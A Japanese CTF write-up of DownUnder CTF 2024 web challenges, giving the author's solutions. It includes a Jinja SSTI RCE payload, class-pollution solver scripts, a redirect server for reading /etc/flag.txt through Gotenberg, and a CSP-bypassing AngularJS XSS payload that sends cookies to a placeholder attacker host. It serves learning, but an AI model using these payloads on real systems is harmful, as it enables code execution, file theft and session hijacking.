DownUnder CTF 2024 Web Writeup
今週末も脆弱エンジニアでCTF参加してきました。結果は60/1515位。Webで足を引っ張りかけましたが、ぎりぎり点数稼げた感じです。PHPとかLLMとか苦手系な問題が多かったので、よく復習します。
ここでは実際に解けた問題だけ記載します。
大会中解けなかった、Waifu、i am confusion, sniffyはPart 2から、Prisoner ProcessorはPart 3から見れます
Beginnerは簡単に
parrot the emu (100pt, クリア率66%)
コード読んでないが、Jinja Injectionが可能だったので、チートシートを利用して、RCEした
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("cat flag").read()}}{%endif%}{% endfor %}
zoo feedback form (100pt, クリア率46%)
コードを読んだところ、XMLでリクエストを行っている。とりあえずXEEを実行してみたらうまくいった
co2 (100pt, クリア率19%)
グローバル変数flag
を"true"
にした上で/get_flag
にアクセスするとフラグが得られる。
/save_feedback
にclass pollution可能なmerge関数がある
def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
解説記事通りに実行すればOK
import requests
URL = "https://web-co2-3638c3b2974c54de.2024.ductf.dev/"
# URL = "http://localhost:1337/"
s = requests.session()
r = s.post(URL + "register", data={
"username": "user",
"password": "pass"
})
r = s.post(URL + "login", data={
"username": "user",
"password": "pass"
})
r = s.post(URL + "save_feedback", json={
"__class__": {
"__init__": {
"__globals__": {
"flag": "true"
}
}
}
})
r = s.get(URL + "get_flag")
print(r.text)
hah got em (129pt, クリア率11%)
gotenbergという、URLを送るとWebページをPDFにしてファイルを送ってくれるシステムのみがデプロイされている。バージョンは8.0.3
とりあえずCVEやsnykで検索をかけてみるが特にヒットなし。次のバージョンの8.1.0のパッチノートをみてみると
This update addresses a critical security flaw which previously enabled unauthorized read access to the system files of a Gotenberg container. It is strongly advised to upgrade to this version, especially for those utilizing the Chromium module to process untrusted content.
おっ、と思ってコミット履歴を見てみると
fs.String("chromium-deny-list", "^file:///[^tmp].*", "Set the denied URLs for Chromium using a regular expression")
こ、これは見たことあるやつ!file:///etc/flag.txt
はfile://localhost/etc/flag.txt
と書くこともできるので
ちゃんとコードを読んでないけど、多分リダイレクトだろうな、とおもって
from http.server import BaseHTTPRequestHandler, HTTPServer
class RedirectHandler(BaseHTTPRequestHandler):
def do_GET(self):
target_url = 'file://localhost/etc/flag.txt'
self.send_response(302)
self.send_header('Location', target_url)
self.end_headers()
def run(server_class=HTTPServer, handler_class=RedirectHandler, port=9911):
server_address = ('', port)
httpd = server_class(server_address, handler_class)
httpd.serve_forever()
if __name__ == '__main__':
run()
import requests
URL = "https://web-hah-got-em-20ac16c4b909.2024.ductf.dev/"
# URL = "http://localhost:3000/"
r = requests.post(URL + "forms/chromium/convert/url",
files={
'url': (None, 'file://localhost/etc/flag.txt'),
})
f = open("res.pdf", "wb")
f.write(r.content)
送られてきたPDFにフラグの情報が載っているので、フラグゲット。
co2v2 (222pt, クリア率3%)
co2の続き。同じくグローバル変数は書き換えられるので、とりあえずいろいろ無効化
r = s.post(URL + "save_feedback", json={
"__class__": {
"__init__": {
"__globals__": {
"TEMPLATES_ESCAPE_ALL": False,
"TEMPLATES_ESCAPE_NONE": True,
"SECRET_NONCE": "",
"RANDOM_COUNT": 0
}
}
}
})
XSSは初期状態では設定で防がれているが、TEMPLATES_ESCAPE_ALLの値で更新できる関数が追加されているので、これを呼ぶ。すると、/create_post
で投稿したブログがトップページでXSS可能になる。
@app.route("/admin/update-accepted-templates", methods=["POST"])
@login_required
def update_template():
data = json.loads(request.data)
# Enforce strict policy to filter all expressions
if "policy" in data and data["policy"] == "strict":
template_env.env = Environment(loader=PackageLoader("app", "templates"), autoescape=TEMPLATES_ESCAPE_ALL)
# elif "policy" in data and data["policy"] == "lax":
# template_env.env = Environment(loader=PackageLoader("app", "templates"), autoescape=TEMPLATES_ESCAPE_NONE)
# TO DO: Add more configurations for allowing LateX, XML etc. to be configured in app
return jsonify({"success": "true", "autoescape": TEMPLATES_ESCAPE_ALL}), 200
ここで、トップページのCSPを見てみると、
@app.after_request
def apply_csp(response):
nonce = g.get('nonce')
csp_policy = (
f"default-src 'self'; "
f"script-src 'self' 'nonce-{nonce}' https://ajax.googleapis.com; "
f"style-src 'self' 'nonce-{nonce}' https://cdn.jsdelivr.net; "
f"script-src-attr 'self' 'nonce-{nonce}'; "
f"connect-src *; "
)
response.headers['Content-Security-Policy'] = csp_policy
return response
そのままscriptタグを埋め込んだだけでは実行されないので、以下の2点を満たす必要がある。
- 埋め込むコードに有効なnonceを付与する
- インラインで実行できないので、どうにか回避する
1.に関して、生成コードをみてみると
def generate_nonce(data):
nonce = SECRET_NONCE + data + generate_random_string(length=RANDOM_COUNT)
sha256_hash = hashlib.sha256()
sha256_hash.update(nonce.encode('utf-8'))
hash_hex = sha256_hash.hexdigest()
g.nonce = hash_hex
return hash_hex
SECRET_NONCE
とRANDOM_COUNT
は無効化しているので、生成されるnonceは逆算可能になった。
2.に関しては、https://ajax.googleapis.com からのコードが実行できるので、AngularJSによるbypassを利用できる。
これらを踏まえて以下のソルバーでフラグゲット
import requests
from urllib.parse import quote
import hashlib
URL = "https://web-co2v2-4f01733c0579eb96.2024.ductf.dev/"
# URL = "http://localhost:1337/"
EVIL = "https://xxx.ngrok.app/"
def generate_nonce(data):
sha256_hash = hashlib.sha256()
sha256_hash.update(data.encode('utf-8'))
hash_hex = sha256_hash.hexdigest()
return hash_hex
s = requests.session()
r = s.post(URL + "register", data={
"username": "user",
"password": "pass"
})
r = s.post(URL + "login", data={
"username": "user",
"password": "pass"
})
r = s.post(URL + "save_feedback", json={
"__class__": {
"__init__": {
"__globals__": {
"TEMPLATES_ESCAPE_ALL": False,
"TEMPLATES_ESCAPE_NONE": True,
"SECRET_NONCE": "",
"RANDOM_COUNT": 0
}
}
}
})
print(r.text)
r = s.post(URL + "admin/update-accepted-templates", json={
"policy": "strict"
})
nonce = generate_nonce("/")
XSS = f"""
<script nonce={nonce} src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script nonce={nonce} src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{{{x = $on.curry.call().fetch('{EVIL}?d=' + $on.curry.call().document.cookie)}}}}
</div>"""
r = s.post(URL + "create_post", data={
'title': XSS,
'content': "",
'public': '1',
'save': 'Save Post',
})
print(r.text)
できなかったやつ
公式writeupとか見ながら解いていきたいです。
Waifu
LLM adversarial attack + SSRFの問題だと思うが、SSRF部分でさえ解けなかった。
i am confusion
JWT(HS256)の鍵にSSLの公開鍵を使っているから、証明書から公開鍵を復元してJWTを署名しましょうという問題。公開鍵の保存形式が1文字でもずれていると答えが合わないので、それが理由で多分だめだった。
sniffy
ディレクトリトラバーサル可能だが、mimetypeのチェックが入るせいで音声ファイルしか読み取れない。どうにかしてmimetypeを騙せるようにファイルを読み込むか、php://filter
とかを利用するのか。
どちらにせよ、PHPの知識の不足を感じた。
Prisoner Processor
BunというTypescriptの実行環境で動いているyamlパーサーのサイトの問題。こちらもディレクトリトラバーサル可能で、任意の場所にファイルを書き込むことができた。
多分ファイル名のsuffixを書き込まれないようにする方法があったのだろうけど、そこができなかった。あと、多分なにかしらの方法でサーバーをクラッシュさせてファイルを再読み込みさせる必要があったけど、そこまで辿り着かなかった。
(misc) the other minimal php
<?php eval(~htmlspecialchars($_GET[0]));
これでLFIする問題。PHPの知識不足がすごかったです。
(misc) pkijs<
pkijsの脆弱性(?)を突く問題。そもそもpkiとはなんぞやで終わっちゃいました。RFCとかちゃんと読む練習しなければ。
まとめ
pwn募集してます。
Discussion